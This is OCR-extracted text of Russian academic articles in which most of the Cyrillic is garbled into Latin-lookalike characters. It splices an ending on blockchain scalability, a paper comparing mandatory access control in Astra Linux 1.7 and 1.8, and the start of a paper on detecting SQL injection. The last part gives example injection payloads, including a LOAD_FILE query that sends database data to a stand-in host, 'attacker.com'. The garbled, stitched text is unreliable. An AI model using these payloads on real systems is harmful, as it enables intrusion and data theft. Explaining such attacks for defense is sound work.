KOH(UICHIIMAIBHOCTD JJaHHBIX. JOCTH)KEHHE ONTUMAJIBHOTO OaaHca MEeXy STUMH (haKTOpaMu
OyJIeT KITIOUEBBIM JAJIs1 YCIIEITHOI'O MacCOBOTO BHEAPEHUs OJ10KUEHH-TEXHOIOT M.

B wmenmoM, wuccrnenoBaHuss B 00JAaCTH  MacIITAOMPYEMOCTH OJOKYEHHOB AKTHBHO
MPOJOJIKAFOTCS, ¥ MOYKHO OKUATh MOSBJICHUS HOBBIX NEPCIEKTUBHBIX PEILICHUH B Oivpkaiiiem
OymymeM. MexXauCIMIUIMHAPHOE COTPYIHHMYECTBO MEXAY KpHurrorpadamu, pa3paboTduKamu
KOHCEHCYCHBIX aJITOPUTMOB, CHELHUAIUCTaMH [0 PpaClpeleleHHbIM CHCTEMaM M JAPYTUMHU
SKCTIepTaMu OyJIeT IMETh pelarolee 3HaueHue IS TOCTIKEHUS ITporpecca B 3Toi o0macTy.
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AHHOTAIIUSA

B crathe paccMaTpuBarOTCSI OCOOCHHOCTH B3aWIMOJCHCTBHS MAaHAATHOW MOJIENH
ympaBieHusi goctynoM B Astra Linux ¢ sapom 6e3omacHoctu Parsec. AnHanmmsupyrorcs
NPUHIUIBI HAa3HAYECHUsI U 00paOOTKM MaHAATHBIX METOK, a TaKXKe MX BIMSHHE Ha TPHHSATHE
pemenuii o nocryne. Ocoboe BHUMaHHUE YIEJIEHO M3MEHEHUsIM, BHECEHHBIM B Bepcuu Astra
Linux 1.8 mo cpaBHeHuto ¢ 1.7, BKIrOYash ONTHUMH3AIUIO TPOU3BOJAUTEIIEHOCTH, PACIIHMPEHUE
(yHKIMOHANA U yIy4lIeHUE YIPaBIEHU METKAMH.

KaroueBbie ciioBa: Astra Linux, Parsec, MaHnaTHOe yrpaBiieHHE JOCTYIIOM, MaHIATHBIC
METKH, MH(pOpMaIoHHas 0e30MacHOCThb, sApo OezomacHocTH, Bepcuu 1.7 u 1.8, KOHTpoOIb
JIOCTYIIa, ONIEPAL[HOHHBIE CUCTEMBI.
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Abstract

The article examines the features of the mandatory access control model in Astra Linux
and its interaction with the Parsec security kernel. It analyzes the principles of assigning and
processing mandatory labels and their impact on access decision-making. Particular attention is
paid to the changes introduced in Astra Linux version 1.8 compared to 1.7, including
performance optimization, expanded functionality, and improved label management.

Keywords: Astra Linux, Parsec, mandatory access control, mandatory labels,
information security, security kernel, versions 1.7 and 1.8, access control, operating systems.

1. BBenenue

Astra Linux — poccuiickass OIEpallHOHHAs CHUCTEMa, TMpeIHa3HAUYCHHAS IS
obecrieyeHus] THPOPMALIMOHHONW 0€30MaCHOCTH B KPUTHUECKU BaXKHbIX oOsactax. OnHol u3 eé
KJIFOUEBBIX OCOOCHHOCTEH SIBISETCS MOAJEPXKKA MaHAATHOrO ympasieHus poctynom (MVY]),
KOTOpPOE PETyIUPYET JIOCTYIl K pecypcaM CUCTEMbI HA OCHOBE METOK Oe3onacHoctu. Ha pucynke
| mpeacTaBneHO KIACCHYECKOE MPEACTAaBICHUE MAaHJIATHOW MOJENM pa3rpaHUYeHUs IMpPaB
JOCTYyTIA.

KnroueBbiM smemenTom MVYJl B Astra Linux sBisiercss siapo Oe3omacHoctu Parsec,
KOTOpOE€ OTBEYAeT 3a IPOBEPKY METOK 0e30MacHOCTH CyObeKToB U 00bekToB. OHO
[IEPEXBaThIBAET CUCTEMHBIE BbI30BBI, AHATU3UPYET METKU U IPUHUMAET PELICHUSI O pa3peleHuu
WIN 3alpeTe JOCTyIa B COOTBETCTBUU C 3aJlaHHbIMU MOJUTHKaMU. VI3MeHeHUs, BHECEHHbIE B
Bepcuu 1.8, ynydymmm 3TO B3aMMOJEHCTBHE, JOOABUB MOIACPKKY HEpapXUUYecKuX U
OTPULIATEIBHBIX METOK, YTO MO3BOJIMIIO IOBBICUTH TOUHOCTh U THOKOCTh YIPaBJIEHUS JOCTYIIOM.

B cratee paccMaTpuBarOTCsl KIFOUEBBIE U3MEHEHUS B MOJIENIM METOK MEXIY BEPCHAMU
1.7 u 1.8, ux BausgHue Ha 0€30MaCHOCTL CHCTEMBI M HOBBLIE BO3MOXKHOCTH IS
aJIMMHUCTPUPOBAHUSI.

2. MannaTtHoe yrpasieHue 10cTynoM B Astra Linux

MannatHoe ynpasnenue ngoctynom (MY /I) perymupyer 40CTyn K CUCTEMHBIM pecypcaM
Ha OCHOBE METOK O€30MacHOCTH, Ha3HaYaeMbIX CyObeKTaM (TOJIb30BaTeIsIM U Ipolieccam) U
obobekTaM ((aitnam, yctpolictBam). Sapo Oe3omacHocTu Parsec sBisieTCsl LEHTpaIbHBIM
AIIEMEHTOM JTOW CHCTEMBbI, OOecIieurBasi CTPOTYIO IPOBEPKY COOTBETCTBHUS METOK MEpPen
BBINOJIHEHUEM 3aIIPOCOB HA JIOCTYII.

OcHoBHBIE KOMITOHEHTHI MY J:

1 CyOBeKTbl — MOJIB30BaTENM WM IPOLECCHI, KOTOPHIM HA3HAUY€Hbl METKU
0€30MacHOCTH.

2. OOBEKTBI — pecypcebl cucTeMbl ((aiiiibl, yCTpoiicTBa), TaKke UMEIOIINE CBOU
METKH.

3. MeTku 6€3011acCHOCTH — BKJIFOYAIOT:

— [TonoxuTenbHBIE METKH, KOTOPBIE pa3peliaroT JOCTYIL.
— OtpuniatenbHble METKH, BBEAEHHBIC B Bepcur 1.8, It SBHOTO 3ampera
JI0CTyIa.

Ponb snpa Parsec:

SAnpo Ge3omacHocTH Parsec BBIMOMHSET KIFOYEBBIC (YHKIUU B CHUCTEME MAaHIATHOTO
yIpaBiieHus 1ocTynoM. [Ipu kaxIoM CHCTEMHOM BBI30BE OHO aHATM3HPYET METKH CyOBEKTOB U
O00BEKTOB, CBEpsisi MX HA COOTBETCTBUE 3a/JaHHBIM TONHTHKaM. Ha OCHOBaHWM ATHUX JaHHBIX
Parsec mpuHHMaeT pelieHus O pa3peleHny WK 3anpere noctyna. Kpome toro, Bce AelcTBUA,
CBSI3aHHBIE C JIOCTYIIOM, JIOTUPYIOTCA JJIsl OOECHEUEHHs] MPO3PAYHOCTH U TOCIEAYIOIIETO
ayaurta. DTO B3aMMOJIEHCTBHE OOECIeUMBaeT CTPOTUI KOHTPOJIb HaJ JOCTYIOM U TO3BOJISIET
pean30BaTh THOKUE MTOJIMTHKH O€30MTaCHOCTH.

B Bepcun 1.8 Obuia goGapneHa MOAAEPIKKA HEPAPXUUYECKUX METOK, YTO YIPOIIAeT
VIIpaBJICHUE CIIOXHBIMH ITOJIMTHKAMHA OE30MACHOCTH W TIO3BOJISIET OoJiee TMOKO HACTpaWBaTh
JOCTYII.

3. OcobenHocTy peanu3anuu B Bepcuu 1.7
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B Bepcun 1.7 cuctema MaHAATHOTO YHPABJICHUS JOCTYIIOM HCIOJB30BaJIa IJIOCKYIO
CTPYKTYpy METOK, TA€ Kax[as MeTKa CYIIeCTBOBaJlla KaK HE3aBUCHMas CYIIHOCTh 0e3
B3aUMOCBSI3€M MEXKIY YPOBHSIMH. OTO OrpaHUYMBAIO BO3MOXKHOCTA HACTPOWKH TMOJIUTHK
6e3omacHocti. Hampumep, aaMUHUCTPATOpPhI BHIHYKICHBI OBLTM BPYYHYIO 3a/1aBaTh MpaBHIIA
JUISL KaXKI0ro o0beKTa OTIENIbHO, YTO JAEJalio mpolecc TpyaoéMKuM. bosee Toro, oTcyrcTBue
OTPUIIATEBHBIX METOK HE IO3BOJSUIO SIBHO 3alpeliarh JOCTYM, YTO CHHXKAIO TOYHOCTb
KoHTpoJis. B pesynbrare simpo Parsec oOpabaThiBasio TONBKO 0a30BbIE MPOBEPKH COOTBETCTBUS
METOK CYObEKTOB  OOBEKTOB, YTO OTPAaHMYHMBAIIO THOKOCTh M MacIITaOUPYeMOCTh CUCTEMBI.

4. 3menenus B Bepcuu 1.8

Bepcus 1.8 mnpuHecna peBOMIOLMOHHBIE W3MEHEHHS B pealM3alliM MaHAATHOIO
yopaBieHusT J0cTynmoM. OJHMM M3 KJIIOYEBBIX HOBOBBEJAECHUHN CTajlo BBeACHHE METKH SSI
(System Secret Integrity), koTopas obecrieumBaeT 3alIUTy CUCTEMHBIX cekpeToB. Metka SSI
MO3BOJISIET PA3PEIINTh JOCTYI Ha YTEHHE WM BBINOJIHEHHUE TOJBKO TE€M MpolieccaM, KOTOpbIe
MMEIOT YPOBEHb IIEJIOCTHOCTH HE HUXKE YPOBHS LIEIOCTHOCTH oOBbekTa. M3mensaTs metky SSI
MOTYT TOJBKO TPOLECCHI C YPOBHEM IEIOCTHOCTH, COOTBETCTBYIOIIMM MM MPEBBIIIAIOIINM
YPOBEHb 00BbEKTA. DTO HOBOBBE/ICHHUE MTO3BOJISIET KOHTPOJIMPOBATH 3aITyCK CUCTEMHBIX YTHIIUT U
BHOCUTb U3MEHEHHUS TOJIBKO B (Daiiiibl ¢ BBICOKMM YPOBHEM 1IEJIOCTHOCTH.

JlononauTensHO OblTa J00aBiIeHa (QYHKITUS HACIIEIOBAHUS CBOICTB IIEJIOCTHOCTH Yepe3
HOBBI aTtpuOyT Oe3zomacHocTH iinh. Ilpm ero ycTaHoBke Ha KaTajore HOBBIE OOBEKTHI
aBTOMATUYECKH HACJEIyIOT YPOBEHb LIEJIOCTHOCTU POJIUTENBCKOIO Karajora. JTO MO3BOJISET
yIPOUIAaTh YIpaBlIeHHE TMOJUTHKAMU LEIOCTHOCTH U OBICTPO CO3/1aBaTh BBICOKOIIETIOCTHBIE
o0bekThl. Takxke B Bepcuu 1.8 mosiBUIach BO3MOKHOCTh HAa3HAYaTh METKU ILIEIOCTHOCTH IS
TpyII TOJb30BaTeNe, YTO YCKOpsSeT U 00JerdaeT HAacCTpOWKY KOHTpOIs menocTHocTH. Ha
pHucyHKe | mpeacTaBieHbl BOSMOXHOCTH HACTPOMKH IPYTII MOJIb30BATEIS.

Bepcus 1.8 mpunecna 3HauutenbHble ynyumieHus B MVY/l, pacmmpuB ¢yHKIMOHAT U
ONTUMU3HUPOBAB paboTy sizpa Parsec.

Pucynok 1 - Hacmpotixa epynn none3osamens

5. CpaBHUTENBHBIN aHanu3 Bepcui 1.7 u 1.8
Cpasuenue Bepcuii 1.7 u 1.8 neMOHCTpUpPYET 3HAYUTETHHOE YIYUIICHHUE B peah3aliu
MaHJIaTHOTO yrpaBiieHus JocTynoM. OCHOBHBIE Pa3IUyus MpeICTaBIeHbI B Tabmuie 1 Hike:

Tabauya 1
Acnexm Bepcus 1.7 Bepcus 1.8
Inockas cmpyxmypa (kasicoas
Modets semor MemKa cyujecmsyem Kax Hepapxuyeckue memxu 04
He3a6UCUMAsL CYUIHOCHb, De3 YOOOHO20 Yynpagienus

63aUMOCBSI3ell MENCAY YDOBHAMU)

Jlobaenenvt 015 nosviuierus

Ompuyamenvhvie Memxu Omcymcmeosanu
MOYHOCIU KOHMPONS
Beeoena ons 3auwumovl cucmemmvix
Memxa SSI Omcymcmeosana CeKpemos u KOHmMpOoJis,
yenocmuocmu
Toooepoicka ampubyma iinh ons
Hacneoosanue yenocmmuocmu Omcymcmeosano ABMOMAMUYECKO20 HACIE008ANUS

YPOBHS YeloCMHOCmu

Paboma siopa Parsec FBa3zosbie nposepxu coomsemcmsus Tlo00eporcka crOHCHBIX NOTUMUK U
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Memox VAYHUEHHAS NPOU3E0OUMETLHOCHb
(Hanpumep, docmyn Kk npoekmuvim
OQHHBIM MOTLKO C YPOBHEM
"cekpemno”, HO be3 docmyna K
Gunancoeoll ungopmayuu

THonumuxka: "JJocmyn k npoekmmuuvim
OAHHBIM MOJILKO C YPOBHEM
"cexpemno”, HO be3 docmyna K
Gunancosoii unghopmayuu”

Omcymcmeyem, mMemKu 3a0aromcs.

Tpumep cnooicnou nonumuxu
BDYUHYIO

CrooicHoe u mpyooémroe (kaxicooe

npasuno oocmyna mpebosano Ynpowénnoe u bonee cubroe
Ynpasnenue oocmynom N .
PYHHOU HACMPOUKU 6e3 2ubKocmu u 01a200apst HOBLIM YHKYUAM
asmomamuzayuu)

DTU pa3nuius MOATBEPXKIAIOT, yTo Bepcus 1.8 obecneunBaeT Oosiee BHICOKHMN YPOBEHb
6€30MacHOCTH U y100CTBa.

6. IIpakTryeckue aclieKTbl ¥ IPUMEpPBI

Bapuants! npumeHeHus

Bapuant Nel: Hactpoiika 10ocTymna ¢ uCIojib30BaHUEM HEPAPXHUUECKUX METOK

Kommanus ucnosnp3yet Astra Linux st yrnpaBlieHHS TPOSKTaMHU pa3iM4YHON CTETIeHU
CEKpEeTHOCTU. METKH ypOBHS "CEKpeTHO'" BKITIOYAIOT JAOCTYI KO BCEM JIaHHBIM C YPOBHIMH "1Jis
BHYTPEHHETO HCIOIB30BaHus" W "oOmienocTynHo". AJIMHHHUCTPATOPhl HACTPAaWBAIOT METKH
OJIMH pa3 JJIsl TPYIIIbI JaHHBIX, YTO YIPOULIAET YIPaBICHNUE NOJUTUKAMH.

BapuanT Ne2: Hcnionb3oBanue metku SSI 1151 3a1IMTBI CHCTEMHBIX CEKPETOB

B kpymHO#t opranuzanyu BHenpeHa MeTtka SSI iyist 3amThl CHCTEMHBIX (aitiioB. TobKo
TMIPOIIECCHI C BBICOKMM YPOBHEM IIETTIOCTHOCTH, TAKHE KaK CIIY>K€OHbIE YTUIUTHI, MOT'YT H3MEHSTh
otn Qainbl. Harmpumep, n3MeHeHne KOHPUTypauy CUCTEMBI BO3MOKHO TOJBKO MPH HAJIMYHH
MeTKH SSI M COOTBETCTBYIOLIETO YpPOBHSI ILEJIOCTHOCTH Yy TpoLecca. ITO NpeAoTBpaIlaeT
CITy4aifHOE WJIM HECAHKIMOHUPOBAaHHOE BMELIATENILCTBO B pabOTy KPUTHUYECKH BaXKHBIX (DAiisIoB.

Bapuant Ne3: HacnenoBanue ypoBHS LIEIOCTHOCTH Yepe3 arpuOyT iinh

Jns ynpaBineHHs JOCTYNOM B KaTajore C BBICOKOLEJIOCTHBIMHM JIaHHBIMH YCTaHOBJICH
arpuOyT iinh. HoBble ¢aiinpl, co3maHHble B KaTajore, aBTOMAaTUYECKH IOJIy4alOT YPOBEHb
LEJIOCTHOCTH POAUTENLCKOrO KaTajora. To MO3BOJISIET pa3paboTurKaM co3/aBaTh O€30MacHbIe
00BbeKTHl 0€3 HEeOOXOAMMOCTH BPYYHYIO 3aJaBaTh YPOBEHb LIEJIOCTHOCTH, yIpolias padoune
MIPOLIECCHI.

BiaumoneiictBue ¢ simpom Parsec:

SAnpo Parsec obpabaThiBaeT Ka)KIblii 3allpoc Ha MIOCTYI, CBEpsAsS METKH CyObeKTa U
oobekta. [Ipy 3TOM MONOKUTEIbHBIE METKH MPEJOCTABISIOT JOCTYI, a OTpULIATEIbHbIE
3aMpelarT €ro, AAKE €CIU IOJIOKUTEIbHBIE YCIIOBUS BBINOJNHEHBL. Takas apXuTeKTypa
1o3BoJIsieT A(PEKTUBHO YIPABIATH JOCTYIIOM B CIIOXKHBIX creHapusx. Merka SSI ycunmuBaer
KOHTPOJIb, CBSA3BIBAsl JOCTYI C YPOBHSIMHU LIEJIOCTHOCTH O0OBEKTOB. Bce 3ampockl jorupyrorcs,
4TO 00ecneyrBaeT MPO3PavyHOCTb U YIPOILAET ay/IuT.

7. 3axnroueHue

Ilepexon ot Astra Linux 1.7 x 1.8 cram BaXHBIM 3TarioM B Pa3BUTHH CHCTEMBI
MaHJATHOTO yrpaBieHHusa AocTynoM. llogaepxka nepapXxuyeckux M OTpULATENIbHBIX METOK, a
TaKKe yIydIeHus B padbote sinpa Parsec obecrieunm:

1.  T'wbkocTh: YHpolieHHe HACTPONKH CI0KHBIX IMOTUTHK.
2. TouHOCTB: BO3MOXKHOCTB SIBHOTO 3ampeTa AOCTYIA.
3. IIpousBomutensHOCTB: bhicTpas 00paboTKa 3arpocoB Ha JOCTYII.
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Otn wm3meHeHus penatoT Astra Linux 1.8 OGonee ymoOHOM u Oe3omacHOM Jyis
HCIIOJIB30BAHNS B BBICOKOSaH_[I/IH_[éHHbIX CUCTCMaAX.
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Co3anme yTUINTBI JJIS1 BbISBJICHHUS YSI3BUMOCTH IPOrpaMMHOro odecnevyenusi k SQL-
HHbEKLIHAM
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AHHOTALUSA

JlaHHasi cTaThsi OCBEIIACT NPOOJEMBI, CBA3aHHBIC C HAJIMYHEM YSI3BHMOCTEH B BeO
MIPWJIOKEHUIX, B YaCTHOCTH, SQL-MHBEKIINH, a TaK)Ke ONMUCHIBAET crioco0 MX oOHapyxeHus. B
paboTe aHANM3UPYIOTCS CYIICCTBYIOIIME PEIICHUS, a TaKXKe IPHBOIATCS WX HEIOCTATKH.
Koproparmsim He0OX0ANMO TTOHUMATh, KaK BBIIBUTH B CBOGH CHCTEME yS3BUMOCTH. B craThe
pa3pabotana cuctemMa oOHapykeHust SQL-UHBEKINIA, a TaKKe OMUCaHbI €€ IPEUMYILECTBA

CraThl ONKCHIBAET OCHOBHBIE MOMEHTHI, CBSI3aHHBIE C HWH(OPMAIMOHHOM
Oe3omacHOCThIO TpU pabore ¢ BeO mpuiokeHusmu. Ilo pesympratam npencrasieHo 110,
MIOMOTAoIIee KOMITAaHUSIM TIPOBO/IUTD ayIUThI O€30I1aCHOCTH.

KmroueBble cioBa: nHpopmanmonHas Oe3omnacHoctb (MbB), Bed-npunoxkenus, Python,
SQLi, Pentest.

Abstract

This article highlights the problems associated with vulnerabilities in web applications, in
particular, SQL injections, and describes how to detect them. The work analyzes possible
solutions and identifies their shortcomings. Corporations need to understand how a vulnerability
manifests itself in their system. The article develops a system for detecting SQL injections and
describes their advantages.
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The article describes the main points related to information security when working with
web applications. Based on the results, software is presented that helps a company conduct a
security audit.

Keywords: information security (IS), Web applications, Python, SQLi, Pentest.

Bsenenue

B snoxy uudpoBuzanuy BeO-NPHIIOKEHHUS] UTPAIOT KPUTUYECKUM BAa)KHYIO pPOJIb B
OusHece, TMPEAOCTaBIs IOJIK30BATENsIM  YAOOHbIE W JIOCTYNHBIE UWHTEpdeich s
B3aMMOJICHCTBUS C cepBUCAaMH U JaHHBIMU. OTHAKO C POCTOM HCHOJIb30BaHUS BEO-TEXHOIOT Ui
YBEJIMUMBAETCS M KOJIMYECTBO KMOEPYTpo3, OAHOM M3 KOTOPBIX sBisitoTCs SQL-uabekuun. SQL-
MHBEKIIMU OCTAIOTCSl OJHUMM M3 CaMbIX OMACHBIX M PAaCHpPOCTPAHEHHBIX YA3BUMOCTEH B BeO-
MIPUIIOKEHUSIX, IIOCKOJIBKY OHHU MIO3BOJISIOT 37I0yMBIIIJICHHUKAM HOJYYUTh
HECAHKLIMOHMPOBAaHHBIM JOCTYm K ©0a3aM JaHHBIX, [OXUINATh KOH(UACHIHATHHYIO
nH(pOpMALNIO U 1aKe M3MEHSTh TaHHBIE.

Cornacno orgueram OWASP (Open Web Application Security Project), SQL-unbeximu
PETYISIDHO BXOIAT B JECATKY HamOojee KPUTHYHBIX YA3BHUMOCTEH, YTO TIOAYCPKHBACT
HEOOXOIMMOCTb MX CBOEBPEMEHHOI'O OOHAPYKEHUS U YCTPAHEHHUS.

B 3TOM KOHTEKCTE BO3HHMKAaET HEOOXOJUMOCTh CO3JaHMs IPOCTOro, YIOOHOrO H
IMOKOro MHCTPYMEHTa Ul MPOBEPKH BeO-mpuiiokeHud Ha Hanmuue SQL-unbeximii. Takoii
WHCTPYMEHT JOJDKEH OBITh WHTYHTHBHO TIIOHSTECH, OOecIieYnBaTh OBICTpHIC pe3yJabTaThl H
MpeJiaraTh JOMOTHUTENbHBIC ()YHKIIMHU, HEOCTYIHBIC B CTAHAAPTHBIX MHCTPYMEHTAX.

ITocranoBka 3a1auun

[Tpoananu3upoBatsk cyuiecTBytomue pemenus B chepe SQLI u co3naTh cOOCTBEHHBIH
WHTYWTHBHO TIOHSTHBINA CKaHHEP JaHHOH YSI3BIMOCTH, JIMIIICHHBI HEJIOCTATKOB aHAJIOTOB.

Pewenne

Oo6rras Teopust 06 SQLI

YroOsl OHATH, uTO Takoe SQLI, manum kpatkoe mousTre SQL.

SQL (Structured Query Language) — 3To sI3bIK IPOrpaMMHUPOBAHUSI, TIPEIHA3HAYCHHBIN
JUIL YOPaBICHUS W MAHUMYJSIMUA PESIIMOHHBIMUA 0a3aMu JaHHBIX. OH HCIONB3yeTCs MM
BBITOJIHEHHS PA3IMYHBIX ONepalrii, TaKUX KaK CO3/JaHue, YTeHUE, OOHOBIIEHHE W YAaJeHUE
JIAHHBIX, & TaKKe JJIS YIpaBJeHUs CTPYKTYypoil 0a3bl MaHHBIX M e€ mpaBamu jocTyma. SQL
apnsieTcss crangaptoM ANSI m ISO M mmMpoko HCMONB3yeTcss B Pa3iM4YHBIX CUCTEMAax
yrpasneHus 6a3zamu qaHHbIX (CYB]) Takux kak MySQL, PostgreSQL, Oracle u Microsoft SQL
Server.

Teneps pazoepemcs yxe ¢ SQLI, Tonbko 60see moapoOHoO.

SQL (Structured Query Language) mnpencraBinsieT coOOM  S3bIK  3apOCOB,
npeHa3HaYeHHbIN Ui paboThl ¢ PETAUMOHHBIMU Oa3zamu JaHHBIX. C €ro MOMOIIBI0 MOXKHO
BBITOJIHATH IIUPOKHUI CIIEKTp ONepaluii: co3laBaTh, YUTATh, OOHOBIATH M YAAJIATH JTaHHBIE, a
TaKKe YIPABISATh CTPYKTYypoW 0a3bl JAHHBIX M HACTpamBarh mpaBa goctyma. SQL sBusercs
npm3HaHHBIM ~ cTaHmaproMm ANSI u  ISO, Omaromaps dYemy OH TIOJIy4YWJI —IIHPOKOE
pacnpocTpaHeHUe B MOMYJSIPHBIX cUcTeMax yrpanienus Oazamu aaHHbiXx (CYBJ]), Takux kak
MySQL, PostgreSQL, Oracle u Microsoft SQL Server. Tenepr maBaiitre paccmorpum SQLi
Oosee moIpoOHO.

SQLi (SQL Injection, mimn SQL-MHBEKIHS) — 3TO OAWH M3 HauOoJee OMacHBIX U 4acTo
BCTPEYAIOIIMXCSI METOIOB aTak Ha BeO-nprioskeHnsl. OH HCIONB3YeT YSI3BUMOCTH B 00paboOTKe
SQL-3anpocoB. C mnomomiplo SQL-UHBEKIMU 37I0YMBIIIICHHUKA MOTYT BMEIIUBAaThCA B
3anpockl K 0a3ze JNaHHBIX, YTO MOXET NPHUBECTH K HE3aKOHHOMY JIOCTYyIy K HH(OpManuu,
W3MEHEHUIO WIH YIAJICHUIO JaHHBIX, a TAK)KE BBHITIOJHEHUIO MTPOM3BOJIBHBIX KOMaH]I Ha CEpBEpe
0a3bl JaHHBIX.

OcHoBHBIE MeXaHU3MBI PaboThl SQL-uHbeKInit

SQL-unbekiyss OCHOBaHAa Ha HENOCTAaTOYHOM 0OpabOTKE BXOIHBIX JaHHBIX,
MPeJOCTaBIsAEMbIX MoJb30BaTenieM. Korma BeO-puilokeHHE HE OCYIIECTBISET KOPPEKTHYIO
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MPOBEPKY M SKPAHUPOBAHKUE BBOJMMBIX JAHHBIX, 3JI0YMBIIIICHHUKA MOT'YT BCTaBUTh CBOM SQL-
KOJI B MeCTa, MpeIHA3HAUYEHHbIC IS MOJIh30BATEILCKOTO BBOJA, TAKUE KaK IOJIS TMOMCKA WU
(OpMBI aBTOPHU3AIINH C BBOIOM JIOTHHA H TIAPOJISL.

[TpuBenem mpumep TunuaHoro SQL-3ampoca, KOTOPBI MOXET MOCTaBUTHh MO Yrpo3y
0e30IacHOCTh cepBepa:

SELECT * FROM users WHERE username = 'admin' OR '"1'="1" AND password =
‘input’;

31ech aTaKyrOMUN THITACTCS MOMYYHTh JOCTYIl KO BCEM 3allUCsIM U3 0a3bl JaHHBIX
MOJIb30BaTeNe, TJIeé MOTYT COJEpXKaTbCsi JIMYHbIE JaHHble. JTO JOCTUTAeTCs 3a CYEeT
ucnosb3oBanus ycioBus OR ‘17 = “1°, koTopoe Bcerjja BO3BpalliacT UCTUHY.

[Tocne Toro xak MbI pa3oOpanuch ¢ moHstueM SQLI, crieayeT paccMOTpEeTh OCHOBHBIC
THITBI OTHX aTaK.

Kiaccuueckas (wmu In-band) SQLI.

Ot0 camblil nomyspHbIi Bua SQL-MHBEKIMIA, TPU KOTOPOM 3JI0YMBIIIUIEHHHK [TOJTy4aeT
pe3yabTaThl CBOETO 3alpoca HAMPSIMYIO Yepe3 OTBET OT cepBepa. K 3Toil kaTeropuu oTHOCSTCA
JIBA TIOJITHIIA;

a. Union-based SQLi: Oneparop UNION mpumensieTcst it 00beIUHEHHS PE3yIbTaTOB
BpenoHocHoro SQL-3ampoca ¢ JaHHBIMU U3 JISTUTUMHOIO 3arpoca. JTO TMO3BOJISIET U3BIICYD
JOTIOJTHUTENbHYI0 HHPOPMAIIUIO 13 0a3bl JaHHBIX.

b. Error-based SQLi: ucnons3yeT ommoOKy, BO3HUKAIOIINE B 0a3e JaHHBIX, YTOOBI Y3HATH
nertand e€ CTPYKTYphl. 3MOYMBIIUICHHUK (OPMUPYET TaKue 3alpoChl, KOTOPbIE BBI3BIBAIOT
OIIMOKH, U3 KOTOPBIX MOXKHO M3BJICYb TOJIC3HBIC CBEICHNSI.

SQL-unabekmus (SQLIi) mpencraiser coO0il TEXHUKY aTakd, HANpaBJICHHYIO Ha BeO-
MIPUJIOKEHUS, KOT/Ia aTaKyIoIui BHeIpseT BpeaoHoCcHbIM SQL-koa B 3ampoc, oOpamiaromuncs
K 06a3e gaHHbIX. PaccMoTpuM mojpoOHee KaXKablii BUI MHBEKIIUU C IPUMEPAMH:

a. Union-based SQLi: mocpeactBom omeparopa UNION  BpemoHOCHBINH —3ampoc
O00BEMHSACTCS] C JIETUTHUMHBIM, MO3BOJISISI MOMYYHUTh JTOTIONHUTEIbHYIO HH(MOpMAIUIO U3 0a3bl
naHHbIX. Hanpumep:

SELECT name, email FROM users WHERE id = 1 UNION SELECT username,
password FROM admin_users;

b. Error-based SQLi: skcrutyaTupyeT cooOmieHHs 00 omubKax 0a3bl JaHHBIX IS
Moy4deHus: WH(pOpMAIM O CTPYKType Oa3bl JaHHBIX. BpelTOHOCHBIC 3alpoChl BHI3BIBAIOT
OLIMOKH, U3 KOTOPBIX MOXKHO HU3BJIeUb MOJIe3HbIE NaHHbIe. [Ipumep:

SELECT name FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT
@@version));

2. Blind SQLi (Cnenas uHbEKIMSI)

Ortor tun SQL-MHBEKIUU HUCTIONB3YeTCs, KOr/a MPHIOKEHHE HE BO3BpAIIAeT SBHBIX
omuOOK 0a3bl IAHHBIX, HO BCE K€ YSA3BUMO JUISI MHbEKIMH. BKiTrogaeT mBa moarumna:

Boolean-based Blind SQLi: 310yMbIIIUICHHUK OTIPABIISIET 3APOCHI, KOTOPBIE H3MEHSFOT
TOBEJICHUE TIPWJIOKCHUS B 3aBUCHMOCTH OT WMCTHHHOCTH WJIM JIOXKHOCTH yciioBuid. Ilo
pe3yibpTaTaM (HampuMep, M3MEHEHHs Ha CTpPaHMIlE) 3JOYMBIIJICHHUK JelTaeT BBIBOABI O
CTpYKType 6a3bl maHHbIX. [Ipumep:

SELECT name FROM users WHERE id = 1 AND 1=1; -- Ecnu ctpanuiia 3arpyxaercs
HOPMaJIbHO

SELECT name FROM users WHERE id = 1 AND 1=2; -- Eciu crpaHuia He
3arpy>KaeTcsi Ui 3arpy>KaeTcsi ¢ "3BMEHEHUAMU

Time-based Blind SQLi: BpenoHocHsIe 3anpochl BKIIFOUAIOT (YHKIINH, 3a1CPIKUBAIOIINE
BbIMoTHeHHE 3ampoca (Hanpumep, SLEEP()), 9To MO3BOJSET 3JI0YMBIIUICHHUKY CYIUTh O
pe3yJibTaTe o BpeMeHH 0TBeTa cepsepa. [Ipumep:

SELECT name FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0); -- Eciu
CTpaHMIIA 3arPy>KaeTCs MEUICHHO
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SELECT name FROM users WHERE id = 1 AND IF(1=2, SLEEP(5), 0); -- Eciu
CTpaHULA 3arpyKacTcs HOPMAJIbHO

3. Out-of-band SQLI

Otot tin SQL-MHBEKIUH UCTIONB3YETCS PEKE U IPUMEHNM, KOT/1a 3JI0YMBIIUIEHHUK HE
MOXXET HanpsMYK YBUACTb peE3yJbTaTbl aTakd WIM MCIIOJIB30BaTh Bpems OTkKiMKa. OH
roJlaraeTcsl Ha BHEUTHHE KaHab! cBsi3u (Hanpumep, DNS wnun HTTP) mis nepenauu 1aHHBIX OT
cepBepa K 3JI0yMBIIIJICHHUKY.

[Tpumep: 3MOYMBIIUIEHHUK MOXET HCIONIb30BaTh (PyHKUMU ©a3bl JAaHHBIX IS
BbInosIHeHU DNS-3anpoca k cBoeMy cepBepy, U3BJI€Kas TaHHbBIE TI0 ’TOMY KaHaly:

SELECT name FROM users WHERE id = 1 AND (SELECT
LOAD_FILE(CONCAT(\\\, (SELECT database()), ".attacker.com\\file")));

AHanu3 CyIIeCTBYIOIINX PEIICHHIA

Temepp, korma ectb mnoHuMmanue o0 SQLi, HEoOX0muUMO MpoaHaIM3HPOBATH
CYLIECTBYIOILIE HHCTPYMEHTBI, KOTOPBIE UCITIONIB3YIOTCS J1JIs BBISIBICHUS JTAHHOM YSI3BUMOCTH.

CampiM nonyssipHbiM siBrisieTcs ckanaep SQLi «SQLMapy.

SQLMap — 3To MOIIHBIN ¥ MIHAPOKO HCIIOIB3YeMbIii MHCTPYMEHT JIJIsi aBTOMATH3AIUN
npouecca oOHapyxeHust W skciuryaraiuu SQL-unbeximii B BeO-mpuioxeHusx. OnHako,
HECMOTpSI Ha €ro IMOMYyJSPHOCT M MHOTOQYHKIIMOHAIBHOCTh, OH HMEET HEKOTOpbIe
HEJIOCTATKH, KOTOPbIE OTCYTCTBYIOT B pa3padaTbIBA€MOM HHCTPYMEHTE.

